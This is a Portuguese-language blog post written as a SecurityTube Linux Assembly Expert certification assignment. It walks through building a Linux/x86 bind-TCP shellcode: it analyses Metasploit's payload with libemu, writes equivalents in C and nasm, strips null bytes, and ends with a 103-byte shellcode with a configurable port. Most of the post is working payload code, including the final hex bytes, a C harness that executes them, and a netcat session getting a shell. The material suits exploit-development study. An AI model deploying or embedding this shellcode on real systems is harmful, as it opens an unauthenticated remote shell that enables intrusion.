Tradutor

sábado, 16 de março de 2013

SLAE - 1st Assignment - Shell Bind TCP

Verdade, verdade! Esta ainda não é a continuação de (Des)construindo Software. Peço-lhes desculpas, mas no momento oportuno ela virá... Este post é o 1st assignment do curso SecurityTube Linux Assembly Expert, necessário para obtenção da certificação SLAE.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-237


<UPDATE>
   O shellcode final foi aceito no repositório Shell-Storm.
   Tks Jonathan Salwan.
</UPDATE>



Assembly (Mighty and Tiny)

Decidi fazer algo que já deveria ter feito há muito tempo: aprender “a linguagem” assembly. E é que o curso do Vivek Ramachandran surgiu em boa hora. Com uma didática simples e objetiva o SLAE realmente me surpreendeu. Obrigado Vivek.

Nas instruções do exame, Vivek especifica que esta primeira missão é:
Criar um shellcode de um Shell Bind via TCP (Linux/x86)
- Executar um shell ao receber a conexão
- Tornar fácil a configuração da porta no shellcode
- Para isso, analisar o linux/x86/shell_bind_tcp do Metasploit usando o libemu
 
Achei interessante, uma vez que no curso, apesar de passar muita informação, não é apresentada a construção de um shell_bind_tcp. E esse método de examinação é muito bom, pois força o aprendizado.


Desovando um Shell via TCP

Libemu é uma pequena biblioteca de detecção de shellcodes que usa heurística GetPC (Get Program Counter ou GetEIP). Bom, usei-o como indicado para analisar o payload do Metasploit:

# msfpayload linux/x86/shell_bind_tcp R | /opt/libemu/bin/sctest -vvv -S -s 100000

O libemu retorna, além da análise passo-a-passo das instruções do shellcode, uma meta linguagem esboçada em C:
 



int dup2(int oldfd=19, int newfd=0);

[emu 0x0x199d0e0 debug ] cpu state eip=0x00417037
[emu 0x0x199d0e0 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000013

[emu 0x0x199d0e0 debug ] esp=0x00416fba ebp=0x00000000 esi=0x00000001 edi=0x00000000
[emu 0x0x199d0e0 debug ] Flags: PF ZF
[emu 0x0x199d0e0 debug ] 49 dec ecx




int dup2 (
int oldfd = 19;
int newfd = 0;
) = 0;


Fica bem fácil de entender as instruções, mesmo assim, optei pelo visual:

# msfpayload linux/x86/shell_bind_tcp R | /opt/libemu/bin/sctest -vvv -S -s 100000 -G shell_bind_tcp.dot
 

É gerado um arquivo dot que pode ser facilmente convertido em png:

# dot shell_bind_tcp.dot -T png -o shell_bind_tcp.png
 


Bem mais intuitivo, certo? O fluxograma clarifica a sequência de instruções. Mesmo assim, decidi seguir outro rumo na construção do shellcode: fiz o mesmo programa em C.


// This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/1st.assignment/shell_bind_tcp.c
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <unistd.h>
int main()
{
int resultfd, sockfd;
int port = 11111;
struct sockaddr_in my_addr;
// syscall 102
// int socketcall(int call, unsigned long *args);
// sycall socketcall (sys_socket 1)
sockfd = socket(AF_INET, SOCK_STREAM, 0);
// syscall socketcall (sys_setsockopt 14)
int one = 1;
setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
// set struct values
my_addr.sin_family = AF_INET; // 2
my_addr.sin_port = htons(port); // port number
my_addr.sin_addr.s_addr = INADDR_ANY; // 0 fill with the local IP
// syscall socketcall (sys_bind 2)
bind(sockfd, (struct sockaddr *) &my_addr, sizeof(my_addr));
// syscall socketcall (sys_listen 4)
listen(sockfd, 0);
// syscall socketcall (sys_accept 5)
resultfd = accept(sockfd, NULL, NULL);
// syscall 63
dup2(resultfd, 2);
dup2(resultfd, 1);
dup2(resultfd, 0);
// syscall 11
execve("/bin/sh", NULL, NULL);
return 0;
}
 

Eu poderia, neste ponto, analisá-lo usando o “objdump” ou mesmo o “ndisasm”. Mas ao tentar fazer isso mudei de ideia. Vejam o porquê:

# objdump -d -M intel shell_bind_tcp_c



080485bc <main>:
80485bc: 55                     push ebp
80485bd: 89 e5                  mov ebp,esp
80485bf: 83 e4 f0               and esp,0xfffffff0
80485c2: 83 ec 50               sub esp,0x50
80485c5: 65 a1 14 00 00 00      mov eax,gs:0x14
80485cb: 89 44 24 4c            mov DWORD PTR [esp+0x4c],eax
80485cf: 31 c0                  xor eax,eax
80485d1: c7 44 24 30 67 2b 00   mov DWORD PTR [esp+0x30],0x2b67
80485d8: 00
80485d9: c7 44 24 08 00 00 00   mov DWORD PTR [esp+0x8],0x0
80485e0: 00
80485e1: c7 44 24 04 01 00 00   mov DWORD PTR [esp+0x4],0x1
80485e8: 00
80485e9: c7 04 24 02 00 00 00   mov DWORD PTR [esp],0x2
80485f0: e8 cb fe ff ff         call 80484c0 <socket@plt>
 




O gcc ao compilar, constrói o binário usando instruções de cópia em endereços do stack (mov DWORD PTR [esp+0x4], 0x1), o que dificulta um pouco o processo. Contudo, já deu para se abstrair, pelo empilhamento, os argumentos das funções chamadas. No caso acima, a função socket recebe os valores 2, 1, 0, empilhados na ordem inversa.


Enfim, encarei o desafio de programar o shell_bind_tcp em nasm assembly:


; This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/1st.assignment/shell_bind_tcp.asm
global _start
section .text
_start:
; syscalls (/usr/include/asm/unistd_32.h)
; socketcall numbers (/usr/include/linux/net.h)
; Creating the socket file descriptor
; int socket(int domain, int type, int protocol);
; socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
mov eax, 102 ; syscall 102 - socketcall
mov ebx, 1 ; socketcall type (sys_socket 1)
; socket arguments (bits/socket.h, netinet/in.h)
push 0 ; IPPROTO_IP = 0 (int)
push 1 ; SOCK_STREAM = 1 (int)
push 2 ; AF_INET = 2 (int)
mov ecx, esp ; ptr to argument array
int 0x80 ; kernel interruption
mov edx, eax ; saving the returned socket file descriptor
; Avoiding SIGSEGV when trying to reconnect before the kernel to close the socket previously opened
; this problem happens in most shellcodes, even in the Metasploit, because they do not care
; about the reuse of the socket address
; int setsockopt(int sockfd, int level, int optname, const void *optval, socklen_t optlen);
; setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &socklen_t, socklen_t)
mov eax, 102 ; syscall 102 - socketcall
mov ebx, 14 ; socketcall type (sys_setsockopt 14)
push 4 ; sizeof socklen_t
push esp ; address of socklen_t - on the stack
push 2 ; SO_REUSEADDR = 2
push 1 ; SOL_SOCKET = 1
push edx ; sockfd
mov ecx, esp ; ptr to argument array
int 0x80 ; kernel interrupt
; Biding the socket with an address type
; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
; bind(sockfd, [AF_INET, 11111, INADDR_ANY], 16)
mov eax, 102 ; syscall 102 - socketcall
mov ebx, 2 ; socketcall type (sys_bind 2)
; building the sockaddr_in struct (sys/socket.h, netinet/in.h and bits/sockaddr.h)
push 0 ; INADDR_ANY = 0 (uint32_t)
push WORD 0x672b ; port in byte reverse order = 11111 (uint16_t)
push WORD 2 ; AF_INET = 2 (unsigned short int)
mov ecx, esp ; struct pointer
; bind arguments (sys/socket.h)
push 16 ; sockaddr struct size = sizeof(struct sockaddr) = 16 (socklen_t)
push ecx ; sockaddr_in struct pointer (struct sockaddr *)
push edx ; socket fd (int)
mov ecx, esp ; ptr to argument array
int 0x80 ; kernel interrruption
; Preparing to listen the incoming connection (passive socket)
; int listen(int sockfd, int backlog);
; listen(sockfd, 0);
mov eax, 102 ; syscall 102 - socketcall
mov ebx, 4 ; socketcall type (sys_listen 4)
; listen arguments
push 0 ; backlog (connections queue size)
push edx ; socket fd
mov ecx, esp ; ptr to argument array
int 0x80 ; kernel interruption
; Accepting the incoming connection
; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
; accept(sockfd, NULL, NULL)
mov eax, 102 ; syscall 102 - socketcall
mov ebx, 5 ; socketcall type (sys_accept 5)
; accept arguments
push 0 ; NULL - we don't need to know anything about the client
push 0 ; NULL - we don't need to know anything about the client
push edx ; socket fd
mov ecx, esp ; ptr to argument array
int 0x80 ; kernel interruption
mov edx, eax ; saving the returned socket fd (client)
; Creating a interchangeably copy of the 3 file descriptors (stdin, stdout, stderr)
; int dup2(int oldfd, int newfd);
; dup2(clientfd, ...)
mov eax, 63 ; syscall 63 - dup2
mov ebx, edx ; oldfd (client socket fd)
mov ecx, 0 ; stdin file descriptor
int 0x80 ; kernel interruption
mov eax, 63
mov ecx, 1 ; stdout file descriptor
int 0x80
mov eax, 63
mov ecx, 2 ; stderr file descriptor
int 0x80
; Finally, using execve to substitute the actual process with /bin/sh
; int execve(const char *filename, char *const argv[], char *const envp[]);
; exevcve("/bin/sh", NULL, NULL)
mov eax, 11 ; execve syscall
; execve string argument
push 0 ; null byte
push 0x68732f2f ; "//sh"
push 0x6e69622f ; "/bin"
mov ebx, esp ; ptr to "/bin//sh" string
mov ecx, 0 ; null ptr to argv
mov edx, 0 ; null ptr to envp
int 0x80 ; bingo
 

Foi árduo, embora tenha sido muito importante para um entendimento mais aprofundado da linguagem assembly e também dos internals do Linux. Não vou me prender explicando o que cada instrução faz, o intuito deste post não é esse; de toda sorte, comentei todos os códigos (github) para que fossem auto-explicativos. E antecipo que qualquer comentário será bem vindo, seja dúvida ou crítica.

Os códigosfuncionaram perfeitamente; montei o shell_bind_tcp com todas as syscalls fundamentadas no código C, no fluxograma do libemu, nos resultados do google (óbvio) e no velho e sempre amigo man.


Evitando-se SIGSEGV (Yep, Metasploit has it)

Os mais atentos já devem ter percebido que há, tanto no código C, quanto no assembly uma função/syscall que não é utilizada no shellcode do Metasploit. A setsockopt. 

setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));

mov eax, 102            ; syscall 102 – socketcall
mov ebx, 14             ; socketcall type (sys_setsockopt 14)


Ao fazer testes com o shellcode do Metasploit, quando o cliente desconectava da porta e o shell_bind_tcp era rodado novamente ele resultava em SIGSEGV. Vou ser-lhes sincero, após muitos debugging via gdb e consultas no google identifiquei a origem do problema. A falha na segmentação só era produzida quando o shell_bind_tcp tentava ligar o endereço via bind a um socket que já existia no sistema. Mas como? Simples: esse shellcode em específico não tem como fechar o socket quando o cliente desconecta. Quem o fecha é o kernel após um intervalo TIME_WAIT. Ou seja, eu tinha sempre que esperar o kernel fechar o socket criado pela instância anterior (1 a 2 min), para poder rodar novamente o shellcode com sucesso. E no meu humilde pensar, um shellcode é como “um programa”; não deve gerar SIGSEGV (o meu pode até gerar, mas me avisem, se isso acontecer :D).

O objetivo da setsockopt é atribuir ao socket a opção SO_REUSEADDR. Assim, aquele mesmo socket da instância anterior, ainda não fechado pelo kernel, é reutilizado na nova instância. E sem falhas.

Essa minha implementação me deixou muito contente, uma vez que após estudar alguns shellcodes em sites como shell-storm, exploit-db e projectshellcode, não encontrei nada relacionado (alguém conhece algum shellcode nesses sites ou em outro que também use a setsockopt?). E entendo que há quase uma disputa para se construírem shellcodes com o menor número de bytes possível, no entanto, não devemos esquecer da integridade do fluxo do programa.



Enxugando o Shellcode (smallest as possible)

Extraindo os opcodes do meu shell_bind_tcp (asm):

# objdump -d ./shell_bind_tcp|grep '[0-9a-f]:'|grep -v 'arquivo' | cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' | grep x00

 
"\xb8\x66\x00\x00\x00\xbb\x01\x00\x00\x00\x6a\x00\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc2\xb8\x66\x00\x00\x00\xbb\x0e\x00\x00\x00\x6a\x04\x54\x6a\x02\x6a\x01\x52\x89\xe1\xcd\x80\xb8\x66\x00\x00\x00\xbb\x02\x00\x00\x00\x6a\x00\x66\x68\x2b\x67\x66\x6a\x02\x89\xe1\x6a\x10\x51\x52\x89\xe1\xcd\x80\xb8\x66\x00\x00\x00\xbb\x04\x00\x00\x00\x6a\x00\x52\x89\xe1\xcd\x80\xb8\x66\x00\x00\x00\xbb\x05\x00\x00\x00\x6a\x00\x6a\x00\x52\x89\xe1\xcd\x80\x89\xc2\xb8\x3f\x00\x00\x00\x89\xd3\xb9\x00\x00\x00\x00\xcd\x80\xb8\x3f\x00\x00\x00\xb9\x01\x00\x00\x00\xcd\x80\xb8\x3f\x00\x00\x00\xb9\x02\x00\x00\x00\xcd\x80\xb8\x0b\x00\x00\x00\x6a\x00\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb9\x00\x00\x00\x00\xba\x00\x00\x00\x00\xcd\x80"


# echo -n "\xb8\x66...\xcd\x80" | wc -m
720


720 / 4 = 180 bytes

Além de conter null-bytes (o que não pode), o shellcode gerado ficou com 180 bytes. Precisei retirar os null-bytes e analisar a possibilidade de uso de instruções cujos opcodes (hexa) fossem menores. Após estudar um pouco mais sobre os registradores e instruções, remontei-o.



; This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/1st.assignment/shell_bind_tcp_shellcode.asm
global _start
section .text
_start:
; Setting port number
mov bp, 0x672b ; port in byte reverse order = 11111
; Creating the socket file descriptor
; socket(2, 1, 0)
push 102
pop eax
cdq
push 1
pop ebx
; socket arguments
push edx
push ebx
push 2
finalint:
mov ecx, esp
int 0x80
mov esi, eax ; esi now contains the socket file descriptor
pop edi ; pop 2 to edi
; Avoiding SIGSEGV when trying to reconnect before the kernel to close the socket previously opened
; This problem happens in most shellcodes, even in the Metasploit, because they do not care
; about the reuse of the socket address
; setsockopt(sockfd, 1, 2, &socklen_t, 4)
mov al, 102
; setsockopt arguments
push 4
push esp
push edi
push ebx
push esi
mov ecx, esp
mov bl, 14
int 0x80
; Biding the socket with an address type
; bind(sockfd, [2, port, 0], 16)
mov al, 102
mov ebx, edi
; sockaddr_in struct
push edx
push bp ; port number
push bx
mov ecx, esp
; bind arguments
push 16
push ecx
push esi
mov ecx, esp
int 0x80
; Preparing to listen the incoming connection (passive socket)
; listen(sockfd, 0)
mov al, 102
mov bl, 4
push edx
push esi
mov ecx, esp
int 0x80
; Accepting the incoming connection
; accept(sockfd, 0, 0)
mov al, 102
inc ebx
mov [esp+8], edx
int 0x80
xchg eax, ebx
; Creating a interchangeably copy of the 3 file descriptors (stdin, stdout, stderr)
;dup2 (clientfd, fd)
mov ecx, edi
dup_loop:
mov al, 63
int 0x80
dec ecx
jns dup_loop ; looping (2, 1, 0)
; Finally, using execve to substitute the actual process with /bin/sh
; execve("/bin/sh", ["/bin/sh", 0], 0)
mov al, 11
push edx
push 0x68732f2f ; "//sh"
push 0x6e69622f ; "/bin"
mov ebx, esp
push edx
push ebx
jmp finalint

E sobre a configuração da porta? Pensei, pensei e pensei... Qual seria a melhor forma de configurá-la sem aumentar muito o tamanho do shellcode? Como vocês vêem no código assembly acima, usei logo no início, um "mov bp, 0x672b" (para colocar o valor da porta no registrador de 16 bits bp). Durante o percurso do shellcode, o bp é utilizado apenas mais uma vez na construção da estrutura sockaddr_in (argumento da syscall socketcall - opção bind) ao ter os dois bytes inseridos na pilha com a instrução "push bp". Mesmo com o acréscimo de 2 bytes no shellcode, valeu a pena.

A versão final ficou com 103 bytes, um tamanho aceitável para os atributos adicionados: porta +2 bytes e O_REUSEADDR +15 bytes.

"\x66\xbd"
"\x2b\x67" /* <- Port number 11111 (2 bytes) */
"\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02\x89"
"\xe1\xcd\x80\x89\xc6\x5f\xb0\x66\x6a\x04\x54\x57"
"\x53\x56\x89\xe1\xb3\x0e\xcd\x80\xb0\x66\x89\xfb"
"\x52\x66\x55\x66\x53\x89\xe1\x6a\x10\x51\x56\x89"
"\xe1\xcd\x80\xb0\x66\xb3\x04\x52\x56\x89\xe1\xcd"
"\x80\xb0\x66\x43\x89\x54\x24\x08\xcd\x80\x93\x89"
"\xf9\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52"
"\x53\xeb\xa8";
 

Em resumo, os terceiro e quarto bytes referem-se à porta. Atentem que para modificá-la no shellcode, o respectivo número deve ser convertido em hexadecimal. Exemplo:

# printf "%x\n" 40001

9c41

# printf "%d\n" 0x9c41
40001 

40001 -> 9c41 -> /x9c/x41

TESTANDO

// This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/1st.assignment/shellcode.c
#include <stdio.h>
#include <string.h>
unsigned char code[] = \
"\x66\xbd"
"\x2b\x67" /* <- Port number 11111 (2 bytes) */
"\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02\x89"
"\xe1\xcd\x80\x89\xc6\x5f\xb0\x66\x6a\x04\x54\x57"
"\x53\x56\x89\xe1\xb3\x0e\xcd\x80\xb0\x66\x89\xfb"
"\x52\x66\x55\x66\x53\x89\xe1\x6a\x10\x51\x56\x89"
"\xe1\xcd\x80\xb0\x66\xb3\x04\x52\x56\x89\xe1\xcd"
"\x80\xb0\x66\x43\x89\x54\x24\x08\xcd\x80\x93\x89"
"\xf9\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52"
"\x53\xeb\xa8";
main ()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
view raw shellcode.c hosted with ❤ by GitHub
 

# .gcc -m32 -fno-stack-protector -z execstack shellcode.c -o shellcode
# ./shellcode

Em outro terminal (cliente):
 
# nc 127.0.0.1 11111
pwd
/home/uzumaki 
netstat -lp | grep /sh      
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
tcp     0   0 *:11111              *:*                 LISTEN   5946/sh

 

Um Novo Shell (the chosen one)

Nessa missão, foi construído um shellcode Shell Bind TCP (Linux/x86) com porta reutilizável (setsockopt SO_REUSEADDR) e facilmente configurável (terceiro e quarto byte). Espero que tenham gostado. Comentem! Façam a roda girar! 

P.S.
Se você encontrar alguma forma de reduzir a quantidade de bytes do shellcode apresentado, entre em contato para discutirmos. Assim, farei as devidas alterações colocando os créditos.

[]




Mais Informações 

SLAE - SecurityTube Linux Assembly Expert
SecurityTube
libemu
Metasploit 
Metasploit Unleashed - Offensive Security
Berkeley Sockets 
Shell-Storm
exploit-db
Project Shellcode
Endianness
Linux Assembly
Introdução à Arquitetura de Computadores - bugseq team - Tiago Natel
Understanding Intel Instruction Sizes - William Swanson
The Art of Picking Intel Registers - William Swanson
Smashing The Stack For Fun And Profit - Aleph One 
Get all shellcode on binary  - commandlinefu

Nenhum comentário:

Postar um comentário

Creative Commons License
This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 Brazil License.